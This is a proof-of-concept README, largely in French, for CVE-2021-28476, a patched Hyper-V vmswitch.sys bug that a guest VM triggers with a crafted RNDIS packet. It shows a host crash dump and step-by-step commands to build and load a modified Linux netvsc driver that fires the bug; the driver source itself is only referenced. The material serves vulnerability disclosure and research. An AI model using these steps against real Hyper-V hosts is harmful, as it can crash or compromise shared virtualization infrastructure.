
PoC for CVE-2021-28476 a guest-to-host "Hyper-V Remote Code Execution Vulnerability" in vmswitch.sys.
Il s'agit d'une preuve de concept pour CVE-2021-28476 (« Vulnérabilité d'exécution de code à distance dans Hyper-V »), une lecture de mémoire arbitraire dans vmswitch.sys (fournisseur de services de virtualisation réseau) corrigée par Microsoft en mai 2021.

La vulnérabilité a été découverte par @australeo, @ergot86, @peleghd et @OphirHarpaz. Elle est déclenchable par une machine virtuelle invitée envoyant un paquet RNDIS malveillant via VMBus (qui est un mécanisme de communication basé sur les canaux utilisé pour la communication entre partitions).

Voici à quoi ressemble le crash du système hôte dans un débogueur :
*** Fatal System Error: 0x0000007e
(0xFFFFFFFFC0000005,0xFFFFF80AD4A41A63,0xFFFFB70DD7EB7028,0xFFFFB70DD7EB6860)
Break instruction exception - code 80000003 (first chance)
A fatal system error has occurred.
Debugger entered on first try; Bugcheck callbacks have not been invoked.
A fatal system error has occurred.
nt!DbgBreakPointWithStatus:
fffff801`31412c50 cc int 3
kd> .cxr 0xffffb70dd7eb6860
rax=fffff80ad4bc7214 rbx=fffff80ad4bf62a0 rcx=0000000000000000
rdx=00000000047a2807 rsi=ffffb70dd7eb7420 rdi=ffffa58caa318f00
rip=fffff80ad4a41a63 rsp=ffffb70dd7eb7260 rbp=ffffa58caa318fe0
r8=0000000000000000 r9=000000000000013b r10=deadbeefbaadc0be
r11=ffffb70dd7eb7230 r12=fffff80ad4bc73d0 r13=00000000c0000001
r14=00000000000021f0 r15=fffff80ad4bc7360
iopl=0 nv up ei pl zr na po nc
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00050246
vmswitch!VmsIfrInfoParams_OID_SWITCH_NIC_REQUEST+0xfb:
fffff80a`d4a41a63 418b4a20 mov ecx,dword ptr [r10+20h] ds:002b:deadbeef`baadc0de=????????
kd> kp
# Child-SP RetAddr Call Site
00 ffffb70d`d7eb7260 fffff80a`d4a3ee41 vmswitch!VmsIfrInfoParams_OID_SWITCH_NIC_REQUEST+0xfb
01 ffffb70d`d7eb7300 fffff80a`d4a3fc76 vmswitch!VmsIfrInfoParamsNdisOidRequestBuffer+0x14d
02 ffffb70d`d7eb7380 fffff80a`d4a3c779 vmswitch!RndisDevHostHandleSetMessage+0x196
03 ffffb70d`d7eb7420 fffff801`3136f423 vmswitch!RndisDevHostControlMessageWorkerRoutine+0x199
04 ffffb70d`d7eb74c0 fffff801`3123a975 nt!IopProcessWorkItem+0x93
05 ffffb70d`d7eb7530 fffff801`3132ce85 nt!ExpWorkerThread+0x105
06 ffffb70d`d7eb75d0 fffff801`31412408 nt!PspSystemThreadStartup+0x55
07 ffffb70d`d7eb7620 00000000`00000000 nt!KiStartSystemThread+0x28
Le bogue lui-même se produit dans VmsIfrInfoParams_OID_SWITCH_NIC_REQUEST, une fonction qui peut être appelée avec des données contrôlées par l'attaquant (ce qui ne devrait pas arriver) et déréférence deux fois un pointeur (boom->_win ci-dessous) qu'une machine virtuelle invitée malveillante peut fournir.

Si cela vous intéresse, @peleghd et @OphirHarpaz en discuteront en détail ainsi que le processus de découverte lors d'une présentation au BlackHat USA 2021 intitulée hAFL1 : Our Journey of Fuzzing Hyper-V and Discovering a 0-Day.
La façon la plus simple d'exécuter le PoC est de créer une machine virtuelle Linux exécutant la dernière version d'Ubuntu Focal.
Une fois cela fait, clonez les sources du noyau correspondant :
$ uname -a
Linux tourdeforce 5.4.0-73-generic #82-Ubuntu SMP Wed Apr 14 17:39:42 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
$ git clone git://kernel.ubuntu.com/ubuntu/ubuntu-focal.git
$ cd ubuntu-focal
$ git checkout Ubuntu-5.4.0-73.82
$ git branch fbl_vswitch
$ git checkout fbl_vswitch
Remplacez ~/ubuntu-focal/drivers/net/hyperv/netvsc_drv.c par src/netvsc_drv.c, ~/ubuntu-focal/drivers/net/hyperv/rndis_filter.c par src/rndis_filter.c et ~/ubuntu-focal/drivers/net/hyperv/hyperv_net.h par src/hyperv_net.h (le diff complet est disponible dans cve-2021-28476.diff) :
$ sudo apt-get install git build-essential kernel-package fakeroot libncurses5-dev libssl-dev ccache bison flex libelf-dev dwarves
$ cp /boot/config-5.4.0-73-generic .config
$ make oldconfig
$ make modules
$ make M=drivers/net/hyperv
Enfin, déclenchez le problème en chargeant le module et en changeant l'adresse Ethernet de l'interface réseau (cette action déclenche le chemin de code spécifique que nous avons ajouté dans rndis_filter.c / netvsc_set_mac_addr) :
$ sudo rmmod hv_netvsc && insmod drivers/net/hyperv/hv_netvsc.ko
$ sudo ifconfig eth0 hw ether 00:11:22:33:44